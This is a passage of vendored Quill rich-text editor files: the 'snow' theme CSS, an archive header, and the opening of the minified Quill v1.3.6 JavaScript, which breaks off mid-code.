.ql-editor ul[data-checked="false"] {
	pointer-events: none;
}
.ql-editor ul[data-checked="true"] > li *,
.ql-editor ul[data-checked="false"] > li * {
	pointer-events: all;
}
.ql-editor ul[data-checked="true"] > li::before,
.ql-editor ul[data-checked="false"] > li::before {
	color: #777;
	cursor: pointer;
	pointer-events: all;
}
.ql-editor ul[data-checked="true"] > li::before {
	content: "\2611";
}
.ql-editor ul[data-checked="false"] > li::before {
	content: "\2610";
}
.ql-editor li::before {
	display: inline-block;
	white-space: nowrap;
	width: 1.2em;
}
.ql-editor li:not(.ql-direction-rtl)::before {
	margin-left: -1.5em;
	margin-right: 0.3em;
	text-align: right;
}
.ql-editor li.ql-direction-rtl::before {
	margin-left: 0.3em;
	margin-right: -1.5em;
}
.ql-editor ol li:not(.ql-direction-rtl),
.ql-editor ul li:not(.ql-direction-rtl) {
	padding-left: 1.5em;
}
.ql-editor ol li.ql-direction-rtl,
.ql-editor ul li.ql-direction-rtl {
	padding-right: 1.5em;
}
.ql-editor ol li {
	counter-reset: list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9;
	counter-increment: list-0;
}
.ql-editor ol li:before {
	content: counter(list-0, decimal) ". ";
}
.ql-editor ol li.ql-indent-1 {
	counter-increment: list-1;
}
.ql-editor ol li.ql-indent-1:before {
	content: counter(list-1, lower-alpha) ". ";
}
.ql-editor ol li.ql-indent-1 {
	counter-reset: list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9;
}
.ql-editor ol li.ql-indent-2 {
	counter-increment: list-2;
}
.ql-editor ol li.ql-indent-2:before {
	content: counter(list-2, lower-roman) ". ";
}
.ql-editor ol li.ql-indent-2 {
	counter-reset: list-3 list-4 list-5 list-6 list-7 list-8 list-9;
}
.ql-editor ol li.ql-indent-3 {
	counter-increment: list-3;
}
.ql-editor ol li.ql-indent-3:before {
	content: counter(list-3, decimal) ". ";
}
.ql-editor ol li.ql-indent-3 {
	counter-reset: list-4 list-5 list-6 list-7 list-8 list-9;
}
.ql-editor ol li.ql-indent-4 {
	counter-increment: list-4;
}
.ql-editor ol li.ql-indent-4:before {
	content: counter(list-4, lower-alpha) ". ";
}
.ql-editor ol li.ql-indent-4 {
	counter-reset: list-5 list-6 list-7 list-8 list-9;
}
.ql-editor ol li.ql-indent-5 {
	counter-increment: list-5;
}
.ql-editor ol li.ql-indent-5:before {
	content: counter(list-5, lower-roman) ". ";
}
.ql-editor ol li.ql-indent-5 {
	counter-reset: list-6 list-7 list-8 list-9;
}
.ql-editor ol li.ql-indent-6 {
	counter-increment: list-6;
}
.ql-editor ol li.ql-indent-6:before {
	content: counter(list-6, decimal) ". ";
}
.ql-editor ol li.ql-indent-6 {
	counter-reset: list-7 list-8 list-9;
}
.ql-editor ol li.ql-indent-7 {
	counter-increment: list-7;
}
.ql-editor ol li.ql-indent-7:before {
	content: counter(list-7, lower-alpha) ". ";
}
.ql-editor ol li.ql-indent-7 {
	counter-reset: list-8 list-9;
}
.ql-editor ol li.ql-indent-8 {
	counter-increment: list-8;
}
.ql-editor ol li.ql-indent-8:before {
	content: counter(list-8, lower-roman) ". ";
}
.ql-editor ol li.ql-indent-8 {
	counter-reset: list-9;
}
.ql-editor ol li.ql-indent-9 {
	counter-increment: list-9;
}
.ql-editor ol li.ql-indent-9:before {
	content: counter(list-9, decimal) ". ";
}
.ql-editor .ql-indent-1:not(.ql-direction-rtl) {
	padding-left: 3em;
}
.ql-editor li.ql-indent-1:not(.ql-direction-rtl) {
	padding-left: 4.5em;
}
.ql-editor .ql-indent-1.ql-direction-rtl.ql-align-right {
	padding-right: 3em;
}
.ql-editor li.ql-indent-1.ql-direction-rtl.ql-align-right {
	padding-right: 4.5em;
}
.ql-editor .ql-indent-2:not(.ql-direction-rtl) {
	padding-left: 6em;
}
.ql-editor li.ql-indent-2:not(.ql-direction-rtl) {
	padding-left: 7.5em;
}
.ql-editor .ql-indent-2.ql-direction-rtl.ql-align-right {
	padding-right: 6em;
}
.ql-editor li.ql-indent-2.ql-direction-rtl.ql-align-right {
	padding-right: 7.5em;
}
.ql-editor .ql-indent-3:not(.ql-direction-rtl) {
	padding-left: 9em;
}
.ql-editor li.ql-indent-3:not(.ql-direction-rtl) {
	padding-left: 10.5em;
}
.ql-editor .ql-indent-3.ql-direction-rtl.ql-align-right {
	padding-right: 9em;
}
.ql-editor li.ql-indent-3.ql-direction-rtl.ql-align-right {
	padding-right: 10.5em;
}
.ql-editor .ql-indent-4:not(.ql-direction-rtl) {
	padding-left: 12em;
}
.ql-editor li.ql-indent-4:not(.ql-direction-rtl) {
	padding-left: 13.5em;
}
.ql-editor .ql-indent-4.ql-direction-rtl.ql-align-right {
	padding-right: 12em;
}
.ql-editor li.ql-indent-4.ql-direction-rtl.ql-align-right {
	padding-right: 13.5em;
}
.ql-editor .ql-indent-5:not(.ql-direction-rtl) {
	padding-left: 15em;
}
.ql-editor li.ql-indent-5:not(.ql-direction-rtl) {
	padding-left: 16.5em;
}
.ql-editor .ql-indent-5.ql-direction-rtl.ql-align-right {
	padding-right: 15em;
}
.ql-editor li.ql-indent-5.ql-direction-rtl.ql-align-right {
	padding-right: 16.5em;
}
.ql-editor .ql-indent-6:not(.ql-direction-rtl) {
	padding-left: 18em;
}
.ql-editor li.ql-indent-6:not(.ql-direction-rtl) {
	padding-left: 19.5em;
}
.ql-editor .ql-indent-6.ql-direction-rtl.ql-align-right {
	padding-right: 18em;
}
.ql-editor li.ql-indent-6.ql-direction-rtl.ql-align-right {
	padding-right: 19.5em;
}
.ql-editor .ql-indent-7:not(.ql-direction-rtl) {
	padding-left: 21em;
}
.ql-editor li.ql-indent-7:not(.ql-direction-rtl) {
	padding-left: 22.5em;
}
.ql-editor .ql-indent-7.ql-direction-rtl.ql-align-right {
	padding-right: 21em;
}
.ql-editor li.ql-indent-7.ql-direction-rtl.ql-align-right {
	padding-right: 22.5em;
}
.ql-editor .ql-indent-8:not(.ql-direction-rtl) {
	padding-left: 24em;
}
.ql-editor li.ql-indent-8:not(.ql-direction-rtl) {
	padding-left: 25.5em;
}
.ql-editor .ql-indent-8.ql-direction-rtl.ql-align-right {
	padding-right: 24em;
}
.ql-editor li.ql-indent-8.ql-direction-rtl.ql-align-right {
	padding-right: 25.5em;
}
.ql-editor .ql-indent-9:not(.ql-direction-rtl) {
	padding-left: 27em;
}
.ql-editor li.ql-indent-9:not(.ql-direction-rtl) {
	padding-left: 28.5em;
}
.ql-editor .ql-indent-9.ql-direction-rtl.ql-align-right {
	padding-right: 27em;
}
.ql-editor li.ql-indent-9.ql-direction-rtl.ql-align-right {
	padding-right: 28.5em;
}
.ql-editor .ql-video {
	display: block;
	max-width: 100%;
}
.ql-editor .ql-video.ql-align-center {
	margin: 0 auto;
}
.ql-editor .ql-video.ql-align-right {
	margin: 0 0 0 auto;
}
.ql-editor .ql-bg-black {
	background-color: #000;
}
.ql-editor .ql-bg-red {
	background-color: #e60000;
}
.ql-editor .ql-bg-orange {
	background-color: #f90;
}
.ql-editor .ql-bg-yellow {
	background-color: #ff0;
}
.ql-editor .ql-bg-green {
	background-color: #008a00;
}
.ql-editor .ql-bg-blue {
	background-color: #06c;
}
.ql-editor .ql-bg-purple {
	background-color: #93f;
}
.ql-editor .ql-color-white {
	color: #fff;
}
.ql-editor .ql-color-red {
	color: #e60000;
}
.ql-editor .ql-color-orange {
	color: #f90;
}
.ql-editor .ql-color-yellow {
	color: #ff0;
}
.ql-editor .ql-color-green {
	color: #008a00;
}
.ql-editor .ql-color-blue {
	color: #06c;
}
.ql-editor .ql-color-purple {
	color: #93f;
}
.ql-editor .ql-font-serif {
	font-family: Georgia, Times New Roman, serif;
}
.ql-editor .ql-font-monospace {
	font-family: Monaco, Courier New, monospace;
}
.ql-editor .ql-size-small {
	font-size: 0.75em;
}
.ql-editor .ql-size-large {
	font-size: 1.5em;
}
.ql-editor .ql-size-huge {
	font-size: 2.5em;
}
.ql-editor .ql-direction-rtl {
	direction: rtl;
	text-align: inherit;
}
.ql-editor .ql-align-center {
	text-align: center;
}
.ql-editor .ql-align-justify {
	text-align: justify;
}
.ql-editor .ql-align-right {
	text-align: right;
}
.ql-editor.ql-blank::before {
	color: rgba(0, 0, 0, 0.6);
	content: attr(data-placeholder);
	font-style: italic;
	left: 15px;
	pointer-events: none;
	position: absolute;
	right: 15px;
}
.ql-snow.ql-toolbar:after,
.ql-snow .ql-toolbar:after {
	clear: both;
	content: "";
	display: table;
}
.ql-snow.ql-toolbar button,
.ql-snow .ql-toolbar button {
	background: none;
	border: none;
	cursor: pointer;
	display: inline-block;
	float: left;
	height: 24px;
	padding: 3px 5px;
	width: 28px;
}
.ql-snow.ql-toolbar button svg,
.ql-snow .ql-toolbar button svg {
	float: left;
	height: 100%;
}
.ql-snow.ql-toolbar button:active:hover,
.ql-snow .ql-toolbar button:active:hover {
	outline: none;
}
.ql-snow.ql-toolbar input.ql-image[type="file"],
.ql-snow .ql-toolbar input.ql-image[type="file"] {
	display: none;
}
.ql-snow.ql-toolbar button:hover,
.ql-snow .ql-toolbar button:hover,
.ql-snow.ql-toolbar button:focus,
.ql-snow .ql-toolbar button:focus,
.ql-snow.ql-toolbar button.ql-active,
.ql-snow .ql-toolbar button.ql-active,
.ql-snow.ql-toolbar .ql-picker-label:hover,
.ql-snow .ql-toolbar .ql-picker-label:hover,
.ql-snow.ql-toolbar .ql-picker-label.ql-active,
.ql-snow .ql-toolbar .ql-picker-label.ql-active,
.ql-snow.ql-toolbar .ql-picker-item:hover,
.ql-snow .ql-toolbar .ql-picker-item:hover,
.ql-snow.ql-toolbar .ql-picker-item.ql-selected,
.ql-snow .ql-toolbar .ql-picker-item.ql-selected {
	color: #06c;
}
.ql-snow.ql-toolbar button:hover .ql-fill,
.ql-snow .ql-toolbar button:hover .ql-fill,
.ql-snow.ql-toolbar button:focus .ql-fill,
.ql-snow .ql-toolbar button:focus .ql-fill,
.ql-snow.ql-toolbar button.ql-active .ql-fill,
.ql-snow .ql-toolbar button.ql-active .ql-fill,
.ql-snow.ql-toolbar .ql-picker-label:hover .ql-fill,
.ql-snow .ql-toolbar .ql-picker-label:hover .ql-fill,
.ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-fill,
.ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-fill,
.ql-snow.ql-toolbar .ql-picker-item:hover .ql-fill,
.ql-snow .ql-toolbar .ql-picker-item:hover .ql-fill,
.ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-fill,
.ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-fill,
.ql-snow.ql-toolbar button:hover .ql-stroke.ql-fill,
.ql-snow .ql-toolbar button:hover .ql-stroke.ql-fill,
.ql-snow.ql-toolbar button:focus .ql-stroke.ql-fill,
.ql-snow .ql-toolbar button:focus .ql-stroke.ql-fill,
.ql-snow.ql-toolbar button.ql-active .ql-stroke.ql-fill,
.ql-snow .ql-toolbar button.ql-active .ql-stroke.ql-fill,
.ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke.ql-fill,
.ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke.ql-fill,
.ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke.ql-fill,
.ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke.ql-fill,
.ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke.ql-fill,
.ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke.ql-fill,
.ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke.ql-fill,
.ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke.ql-fill {
	fill: #06c;
}
.ql-snow.ql-toolbar button:hover .ql-stroke,
.ql-snow .ql-toolbar button:hover .ql-stroke,
.ql-snow.ql-toolbar button:focus .ql-stroke,
.ql-snow .ql-toolbar button:focus .ql-stroke,
.ql-snow.ql-toolbar button.ql-active .ql-stroke,
.ql-snow .ql-toolbar button.ql-active .ql-stroke,
.ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke,
.ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke,
.ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke,
.ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke,
.ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke,
.ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke,
.ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke,
.ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke,
.ql-snow.ql-toolbar button:hover .ql-stroke-miter,
.ql-snow .ql-toolbar button:hover .ql-stroke-miter,
.ql-snow.ql-toolbar button:focus .ql-stroke-miter,
.ql-snow .ql-toolbar button:focus .ql-stroke-miter,
.ql-snow.ql-toolbar button.ql-active .ql-stroke-miter,
.ql-snow .ql-toolbar button.ql-active .ql-stroke-miter,
.ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke-miter,
.ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke-miter,
.ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke-miter,
.ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke-miter,
.ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke-miter,
.ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke-miter,
.ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke-miter,
.ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke-miter {
	stroke: #06c;
}
@media (pointer: coarse) {
	.ql-snow.ql-toolbar button:hover:not(.ql-active),
	.ql-snow .ql-toolbar button:hover:not(.ql-active) {
		color: #444;
	}
	.ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-fill,
	.ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-fill,
	.ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke.ql-fill,
	.ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke.ql-fill {
		fill: #444;
	}
	.ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke,
	.ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke,
	.ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke-miter,
	.ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke-miter {
		stroke: #444;
	}
}
.ql-snow {
	box-sizing: border-box;
}
.ql-snow * {
	box-sizing: border-box;
}
.ql-snow .ql-hidden {
	display: none;
}
.ql-snow .ql-out-bottom,
.ql-snow .ql-out-top {
	visibility: hidden;
}
.ql-snow .ql-tooltip {
	position: absolute;
	transform: translateY(10px);
}
.ql-snow .ql-tooltip a {
	cursor: pointer;
	text-decoration: none;
}
.ql-snow .ql-tooltip.ql-flip {
	transform: translateY(-10px);
}
.ql-snow .ql-formats {
	display: inline-block;
	vertical-align: middle;
}
.ql-snow .ql-formats:after {
	clear: both;
	content: "";
	display: table;
}
.ql-snow .ql-stroke {
	fill: none;
	stroke: #444;
	stroke-linecap: round;
	stroke-linejoin: round;
	stroke-width: 2;
}
.ql-snow .ql-stroke-miter {
	fill: none;
	stroke: #444;
	stroke-miterlimit: 10;
	stroke-width: 2;
}
.ql-snow .ql-fill,
.ql-snow .ql-stroke.ql-fill {
	fill: #444;
}
.ql-snow .ql-empty {
	fill: none;
}
.ql-snow .ql-even {
	fill-rule: evenodd;
}
.ql-snow .ql-thin,
.ql-snow .ql-stroke.ql-thin {
	stroke-width: 1;
}
.ql-snow .ql-transparent {
	opacity: 0.4;
}
.ql-snow .ql-direction svg:last-child {
	display: none;
}
.ql-snow .ql-direction.ql-active svg:last-child {
	display: inline;
}
.ql-snow .ql-direction.ql-active svg:first-child {
	display: none;
}
.ql-snow .ql-editor h1 {
	font-size: 2em;
}
.ql-snow .ql-editor h2 {
	font-size: 1.5em;
}
.ql-snow .ql-editor h3 {
	font-size: 1.17em;
}
.ql-snow .ql-editor h4 {
	font-size: 1em;
}
.ql-snow .ql-editor h5 {
	font-size: 0.83em;
}
.ql-snow .ql-editor h6 {
	font-size: 0.67em;
}
.ql-snow .ql-editor a {
	text-decoration: underline;
}
.ql-snow .ql-editor blockquote {
	border-left: 4px solid #ccc;
	margin-bottom: 5px;
	margin-top: 5px;
	padding-left: 16px;
}
.ql-snow .ql-editor code,
.ql-snow .ql-editor pre {
	background-color: #f0f0f0;
	border-radius: 3px;
}
.ql-snow .ql-editor pre {
	white-space: pre-wrap;
	margin-bottom: 5px;
	margin-top: 5px;
	padding: 5px 10px;
}
.ql-snow .ql-editor code {
	font-size: 85%;
	padding: 2px 4px;
}
.ql-snow .ql-editor pre.ql-syntax {
	background-color: #23241f;
	color: #f8f8f2;
	overflow: visible;
}
.ql-snow .ql-editor img {
	max-width: 100%;
}
.ql-snow .ql-picker {
	color: #444;
	display: inline-block;
	float: left;
	font-size: 14px;
	font-weight: 500;
	height: 24px;
	position: relative;
	vertical-align: middle;
}
.ql-snow .ql-picker-label {
	cursor: pointer;
	display: inline-block;
	height: 100%;
	padding-left: 8px;
	padding-right: 2px;
	position: relative;
	width: 100%;
}
.ql-snow .ql-picker-label::before {
	display: inline-block;
	line-height: 22px;
}
.ql-snow .ql-picker-options {
	background-color: #fff;
	display: none;
	min-width: 100%;
	padding: 4px 8px;
	position: absolute;
	white-space: nowrap;
}
.ql-snow .ql-picker-options .ql-picker-item {
	cursor: pointer;
	display: block;
	padding-bottom: 5px;
	padding-top: 5px;
}
.ql-snow .ql-picker.ql-expanded .ql-picker-label {
	color: #ccc;
	z-index: 2;
}
.ql-snow .ql-picker.ql-expanded .ql-picker-label .ql-fill {
	fill: #ccc;
}
.ql-snow .ql-picker.ql-expanded .ql-picker-label .ql-stroke {
	stroke: #ccc;
}
.ql-snow .ql-picker.ql-expanded .ql-picker-options {
	display: block;
	margin-top: -1px;
	top: 100%;
	z-index: 1;
}
.ql-snow .ql-color-picker,
.ql-snow .ql-icon-picker {
	width: 28px;
}
.ql-snow .ql-color-picker .ql-picker-label,
.ql-snow .ql-icon-picker .ql-picker-label {
	padding: 2px 4px;
}
.ql-snow .ql-color-picker .ql-picker-label svg,
.ql-snow .ql-icon-picker .ql-picker-label svg {
	right: 4px;
}
.ql-snow .ql-icon-picker .ql-picker-options {
	padding: 4px 0px;
}
.ql-snow .ql-icon-picker .ql-picker-item {
	height: 24px;
	width: 24px;
	padding: 2px 4px;
}
.ql-snow .ql-color-picker .ql-picker-options {
	padding: 3px 5px;
	width: 152px;
}
.ql-snow .ql-color-picker .ql-picker-item {
	border: 1px solid transparent;
	float: left;
	height: 16px;
	margin: 2px;
	padding: 0px;
	width: 16px;
}
.ql-snow .ql-picker:not(.ql-color-picker):not(.ql-icon-picker) svg {
	position: absolute;
	margin-top: -9px;
	right: 0;
	top: 50%;
	width: 18px;
}
.ql-snow
	.ql-picker.ql-header
	.ql-picker-label[data-label]:not([data-label=""])::before,
.ql-snow
	.ql-picker.ql-font
	.ql-picker-label[data-label]:not([data-label=""])::before,
.ql-snow
	.ql-picker.ql-size
	.ql-picker-label[data-label]:not([data-label=""])::before,
.ql-snow
	.ql-picker.ql-header
	.ql-picker-item[data-label]:not([data-label=""])::before,
.ql-snow
	.ql-picker.ql-font
	.ql-picker-item[data-label]:not([data-label=""])::before,
.ql-snow
	.ql-picker.ql-size
	.ql-picker-item[data-label]:not([data-label=""])::before {
	content: attr(data-label);
}
.ql-snow .ql-picker.ql-header {
	width: 98px;
}
.ql-snow .ql-picker.ql-header .ql-picker-label::before,
.ql-snow .ql-picker.ql-header .ql-picker-item::before {
	content: "Normal";
}
.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="1"]::before,
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="1"]::before {
	content: "Heading 1";
}
.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="2"]::before,
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="2"]::before {
	content: "Heading 2";
}
.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="3"]::before,
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="3"]::before {
	content: "Heading 3";
}
.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="4"]::before,
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="4"]::before {
	content: "Heading 4";
}
.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="5"]::before,
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="5"]::before {
	content: "Heading 5";
}
.ql-snow .ql-picker.ql-header .ql-picker-label[data-value="6"]::before,
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="6"]::before {
	content: "Heading 6";
}
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="1"]::before {
	font-size: 2em;
}
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="2"]::before {
	font-size: 1.5em;
}
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="3"]::before {
	font-size: 1.17em;
}
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="4"]::before {
	font-size: 1em;
}
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="5"]::before {
	font-size: 0.83em;
}
.ql-snow .ql-picker.ql-header .ql-picker-item[data-value="6"]::before {
	font-size: 0.67em;
}
.ql-snow .ql-picker.ql-font {
	width: 108px;
}
.ql-snow .ql-picker.ql-font .ql-picker-label::before,
.ql-snow .ql-picker.ql-font .ql-picker-item::before {
	content: "Sans Serif";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value="serif"]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value="serif"]::before {
	content: "Serif";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value="monospace"]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value="monospace"]::before {
	content: "Monospace";
}
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value="serif"]::before {
	font-family: Georgia, Times New Roman, serif;
}
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value="monospace"]::before {
	font-family: Monaco, Courier New, monospace;
}
.ql-snow .ql-picker.ql-size {
	width: 98px;
}
.ql-snow .ql-picker.ql-size .ql-picker-label::before,
.ql-snow .ql-picker.ql-size .ql-picker-item::before {
	content: "Normal";
}
.ql-snow .ql-picker.ql-size .ql-picker-label[data-value="small"]::before,
.ql-snow .ql-picker.ql-size .ql-picker-item[data-value="small"]::before {
	content: "Small";
}
.ql-snow .ql-picker.ql-size .ql-picker-label[data-value="large"]::before,
.ql-snow .ql-picker.ql-size .ql-picker-item[data-value="large"]::before {
	content: "Large";
}
.ql-snow .ql-picker.ql-size .ql-picker-label[data-value="huge"]::before,
.ql-snow .ql-picker.ql-size .ql-picker-item[data-value="huge"]::before {
	content: "Huge";
}
.ql-snow .ql-picker.ql-size .ql-picker-item[data-value="small"]::before {
	font-size: 10px;
}
.ql-snow .ql-picker.ql-size .ql-picker-item[data-value="large"]::before {
	font-size: 18px;
}
.ql-snow .ql-picker.ql-size .ql-picker-item[data-value="huge"]::before {
	font-size: 32px;
}
.ql-snow .ql-color-picker.ql-background .ql-picker-item {
	background-color: #fff;
}
.ql-snow .ql-color-picker.ql-color .ql-picker-item {
	background-color: #000;
}
.ql-toolbar.ql-snow {
	border: 1px solid #ccc;
	box-sizing: border-box;
	font-family: "Helvetica Neue", "Helvetica", "Arial", sans-serif;
	padding: 8px;
}
.ql-toolbar.ql-snow .ql-formats {
	margin-right: 15px;
}
.ql-toolbar.ql-snow .ql-picker-label {
	border: 1px solid transparent;
}
.ql-toolbar.ql-snow .ql-picker-options {
	border: 1px solid transparent;
	box-shadow: rgba(0, 0, 0, 0.2) 0 2px 8px;
}
.ql-toolbar.ql-snow .ql-picker.ql-expanded .ql-picker-label {
	border-color: #ccc;
}
.ql-toolbar.ql-snow .ql-picker.ql-expanded .ql-picker-options {
	border-color: #ccc;
}
.ql-toolbar.ql-snow .ql-color-picker .ql-picker-item.ql-selected,
.ql-toolbar.ql-snow .ql-color-picker .ql-picker-item:hover {
	border-color: #000;
}
.ql-toolbar.ql-snow + .ql-container.ql-snow {
	border-top: 0px;
}
.ql-snow .ql-tooltip {
	background-color: #fff;
	border: 1px solid #ccc;
	box-shadow: 0px 0px 5px #ddd;
	color: #444;
	padding: 5px 12px;
	white-space: nowrap;
}
.ql-snow .ql-tooltip::before {
	content: "Visit URL:";
	line-height: 26px;
	margin-right: 8px;
}
.ql-snow .ql-tooltip input[type="text"] {
	display: none;
	border: 1px solid #ccc;
	font-size: 13px;
	height: 26px;
	margin: 0px;
	padding: 3px 5px;
	width: 170px;
}
.ql-snow .ql-tooltip a.ql-preview {
	display: inline-block;
	max-width: 200px;
	overflow-x: hidden;
	text-overflow: ellipsis;
	vertical-align: top;
}
.ql-snow .ql-tooltip a.ql-action::after {
	border-right: 1px solid #ccc;
	content: "Edit";
	margin-left: 16px;
	padding-right: 8px;
}
.ql-snow .ql-tooltip a.ql-remove::before {
	content: "Remove";
	margin-left: 8px;
}
.ql-snow .ql-tooltip a {
	line-height: 26px;
}
.ql-snow .ql-tooltip.ql-editing a.ql-preview,
.ql-snow .ql-tooltip.ql-editing a.ql-remove {
	display: none;
}
.ql-snow .ql-tooltip.ql-editing input[type="text"] {
	display: inline-block;
}
.ql-snow .ql-tooltip.ql-editing a.ql-action::after {
	border-right: 0px;
	content: "Save";
	padding-right: 0px;
}
.ql-snow .ql-tooltip[data-mode="link"]::before {
	content: "Enter link:";
}
.ql-snow .ql-tooltip[data-mode="formula"]::before {
	content: "Enter formula:";
}
.ql-snow .ql-tooltip[data-mode="video"]::before {
	content: "Enter video:";
}
.ql-snow a {
	color: #06c;
}
.ql-container.ql-snow {
	border: 1px solid #ccc;
}
vendor/quill/quill.min.js000066600000644420151150442740011456 0ustar00/*!
 * Quill Editor v1.3.6
 * https://quilljs.com/
 * Copyright (c) 2014, Jason Chen
 * Copyright (c) 2013, salesforce.com
 */
!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.Quill=e():t.Quill=e()}("undefined"!=typeof self?self:this,function(){return function(t){function e(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var n={};return e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.defineProperty(t,n,{configurable:!1,enumerable:!0,get:r})},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=45)}([function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(17),o=n(18),i=n(19),l=n(48),a=n(49),s=n(50),u=n(51),c=n(52),f=n(11),h=n(29),p=n(30),d=n(28),y=n(1),v={Scope:y.Scope,create:y.create,find:y.find,query:y.query,register:y.register,Container:r.default,Format:o.default,Leaf:i.default,Embed:u.default,Scroll:l.default,Block:s.default,Inline:a.default,Text:c.default,Attributor:{Attribute:f.default,Class:h.default,Style:p.default,Store:d.default}};e.default=v},function(t,e,n){"use strict";function r(t,e){var n=i(t);if(null==n)throw new s("Unable to create "+t+" blot");var r=n;return new r(t instanceof Node||t.nodeType===Node.TEXT_NODE?t:r.create(e),e)}function o(t,n){return void 0===n&&(n=!1),null==t?null:null!=t[e.DATA_KEY]?t[e.DATA_KEY].blot:n?o(t.parentNode,n):null}function i(t,e){void 0===e&&(e=p.ANY);var n;if("string"==typeof t)n=h[t]||u[t];else if(t instanceof Text||t.nodeType===Node.TEXT_NODE)n=h.text;else if("number"==typeof t)t&p.LEVEL&p.BLOCK?n=h.block:t&p.LEVEL&p.INLINE&&(n=h.inline);else if(t instanceof HTMLElement){var r=(t.getAttribute("class")||"").split(/\s+/);for(var o in r)if(n=c[r[o]])break;n=n||f[t.tagName]}return null==n?null:e&p.LEVEL&n.scope&&e&p.TYPE&n.scope?n:null}function l(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];if(t.length>1)return t.map(function(t){return l(t)});var n=t[0];if("string"!=typeof n.blotName&&"string"!=typeof n.attrName)throw new s("Invalid definition");if("abstract"===n.blotName)throw new s("Cannot register abstract class");if(h[n.blotName||n.attrName]=n,"string"==typeof n.keyName)u[n.keyName]=n;else if(null!=n.className&&(c[n.className]=n),null!=n.tagName){Array.isArray(n.tagName)?n.tagName=n.tagName.map(function(t){return t.toUpperCase()}):n.tagName=n.tagName.toUpperCase();var r=Array.isArray(n.tagName)?n.tagName:[n.tagName];r.forEach(function(t){null!=f[t]&&null!=n.className||(f[t]=n)})}return n}var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var s=function(t){function e(e){var n=this;return e="[Parchment] "+e,n=t.call(this,e)||this,n.message=e,n.name=n.constructor.name,n}return a(e,t),e}(Error);e.ParchmentError=s;var u={},c={},f={},h={};e.DATA_KEY="__blot";var 